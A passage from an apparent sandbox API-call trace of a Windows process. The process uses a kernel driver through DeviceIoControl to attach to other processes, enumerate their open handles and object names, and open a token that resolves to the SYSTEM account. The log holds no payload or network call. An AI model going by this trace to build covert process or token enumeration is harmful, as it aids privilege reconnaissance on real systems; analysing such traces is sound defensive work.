ObjectNameInfo=0xfffffa800211a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.648] ObfDereferenceObject (Object=0xfffffa8003469300) returned 0x11 [0093.648] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.648] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.648] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.649] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.649] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.649] PsAcquireProcessExitSynchronization () returned 0x0 [0093.649] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880052335d0) [0093.649] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800dbff6c0, HandleInformation=0x0) returned 0x0 [0093.649] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.649] PsReleaseProcessExitSynchronization () returned 0x2 [0093.649] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0093.649] ObQueryNameString (in: Object=0xfffffa800dbff6c0, ObjectNameInfo=0xfffffa8002126044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002126044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.649] ObfDereferenceObject (Object=0xfffffa800dbff6c0) returned 0x1 [0093.649] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.649] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.649] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0093.649] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0093.649] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800315cb30, HandleInformation=0x0) returned 0x0 [0093.649] ObOpenObjectByPointer (in: Object=0xfffffa800315cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800006d4) returned 0x0 [0093.649] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x204 [0093.649] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800006d4, DesiredAccess=0x8, TokenHandle=0xfffffa800261a840 | out: TokenHandle=0xfffffa800261a840*=0xc8) returned 0x0 [0093.649] ZwClose (Handle=0xffffffff800006d4) returned 0x0 [0093.649] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.649] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0093.649] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0093.651] CloseHandle (hObject=0xc8) returned 1 [0093.651] CloseHandle (hObject=0xc0) returned 1 [0093.651] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.651] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.651] PsAcquireProcessExitSynchronization () returned 0x0 [0093.651] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.651] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003175900, HandleInformation=0x0) returned 0x0 [0093.651] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.651] PsReleaseProcessExitSynchronization () returned 0x2 [0093.651] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.651] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.651] ObfDereferenceObject (Object=0xfffffa8003175900) returned 0x1 [0093.651] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.651] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.651] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.651] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.651] PsAcquireProcessExitSynchronization () returned 0x0 [0093.651] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.651] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800317e850, HandleInformation=0x0) returned 0x0 [0093.651] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.651] PsReleaseProcessExitSynchronization () returned 0x2 [0093.651] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.651] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.651] ObfDereferenceObject (Object=0xfffffa800317e850) returned 0x1 [0093.651] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.651] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.651] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.651] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0093.651] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.651] PsAcquireProcessExitSynchronization () returned 0x0 [0093.651] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.652] ObReferenceObjectByHandle (in: Handle=0x100, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f7fc80, HandleInformation=0x0) returned 0x0 [0093.652] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.652] PsReleaseProcessExitSynchronization () returned 0x2 [0093.652] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.652] ObQueryNameString (in: Object=0xfffffa8002f7fc80, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.652] ObfDereferenceObject (Object=0xfffffa8002f7fc80) returned 0x2 [0093.652] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.652] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.652] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.652] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.652] PsAcquireProcessExitSynchronization () returned 0x0 [0093.652] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.652] ObReferenceObjectByHandle (in: Handle=0x180, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.652] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.652] PsReleaseProcessExitSynchronization () returned 0x2 [0093.652] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.652] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.652] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.652] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.652] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.652] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.652] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0093.652] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.652] PsAcquireProcessExitSynchronization () returned 0x0 [0093.652] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.652] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0010a0bd0, HandleInformation=0x0) returned 0x0 [0093.652] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.652] PsReleaseProcessExitSynchronization () returned 0x2 [0093.652] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.652] ObQueryNameString (in: Object=0xfffff8a0010a0bd0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.652] ObfDereferenceObject (Object=0xfffff8a0010a0bd0) returned 0x2 [0093.652] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.653] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.653] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.653] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.653] PsAcquireProcessExitSynchronization () returned 0x0 [0093.653] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.653] ObReferenceObjectByHandle (in: Handle=0x290, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0093.653] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.653] PsReleaseProcessExitSynchronization () returned 0x2 [0093.653] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.653] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.653] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x51 [0093.653] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.653] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.653] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.653] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.653] PsAcquireProcessExitSynchronization () returned 0x0 [0093.653] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.653] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.653] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.653] PsReleaseProcessExitSynchronization () returned 0x2 [0093.653] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.653] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.653] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.653] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.653] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.653] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.653] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0093.653] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.653] PsAcquireProcessExitSynchronization () returned 0x0 [0093.653] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.653] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003215bb0, HandleInformation=0x0) returned 0x0 [0093.654] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.654] PsReleaseProcessExitSynchronization () returned 0x2 [0093.654] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.654] ObQueryNameString (in: Object=0xfffffa8003215bb0, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.654] ObfDereferenceObject (Object=0xfffffa8003215bb0) returned 0x1 [0093.654] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.654] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.654] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.654] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0093.654] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.654] PsAcquireProcessExitSynchronization () returned 0x0 [0093.654] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.654] ObReferenceObjectByHandle (in: Handle=0x394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032152f0, HandleInformation=0x0) returned 0x0 [0093.654] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.654] PsReleaseProcessExitSynchronization () returned 0x2 [0093.654] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.654] ObQueryNameString (in: Object=0xfffffa80032152f0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.654] ObfDereferenceObject (Object=0xfffffa80032152f0) returned 0x1 [0093.654] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.654] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.654] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.654] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0093.654] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.654] PsAcquireProcessExitSynchronization () returned 0x0 [0093.654] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.654] ObReferenceObjectByHandle (in: Handle=0x448, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003231380, HandleInformation=0x0) returned 0x0 [0093.654] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.654] PsReleaseProcessExitSynchronization () returned 0x2 [0093.654] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.654] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.654] ObfDereferenceObject (Object=0xfffffa8003231380) returned 0x12 [0093.654] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.654] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.655] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0093.655] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.655] PsAcquireProcessExitSynchronization () returned 0x0 [0093.655] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.655] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f6b070, HandleInformation=0x0) returned 0x0 [0093.655] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.655] PsReleaseProcessExitSynchronization () returned 0x2 [0093.655] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.655] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.655] ObfDereferenceObject (Object=0xfffffa8002f6b070) returned 0x1 [0093.655] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.655] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.655] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0093.655] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.655] PsAcquireProcessExitSynchronization () returned 0x0 [0093.655] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.655] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f6bbc0, HandleInformation=0x0) returned 0x0 [0093.655] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.655] PsReleaseProcessExitSynchronization () returned 0x2 [0093.655] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.655] ObQueryNameString (in: Object=0xfffffa8002f6bbc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.655] ObfDereferenceObject (Object=0xfffffa8002f6bbc0) returned 0x1 [0093.655] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.655] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.655] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.655] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.655] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.655] PsAcquireProcessExitSynchronization () returned 0x0 [0093.655] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880052335d0) [0093.655] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f6bf20, HandleInformation=0x0) returned 0x0 [0093.655] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.655] PsReleaseProcessExitSynchronization () returned 0x2 [0093.655] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x202 [0093.655] ObQueryNameString (in: Object=0xfffffa8002f6bf20, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.656] ObfDereferenceObject (Object=0xfffffa8002f6bf20) returned 0x2 [0093.656] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.656] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.656] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.656] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, 